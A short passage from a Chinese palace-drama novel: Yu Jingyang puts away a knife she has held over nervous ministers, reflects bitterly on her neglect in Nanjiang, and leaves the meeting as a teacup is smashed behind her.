其他人听后忙跟着七嘴八舌应和,有的还紧张得擦了擦额头冷汗。所有人的眼光都集中在那把刀上,虞静央看着他们,心里满是嘲讽,若自己在南江时能受到如现在十分之一的珍视,也就不会到今日这般田地了。 随着她放下刀,众人无不跟着松了一口气。虞静央懒得再与他们讨价还价,将刀收回衣袖,道:“本宫没兴致了,今日谈话就到此为止吧。” 说完这句话,她不理会那些臣子的挽留,头也不回地向外走,背后响起摔碎茶盏的声响。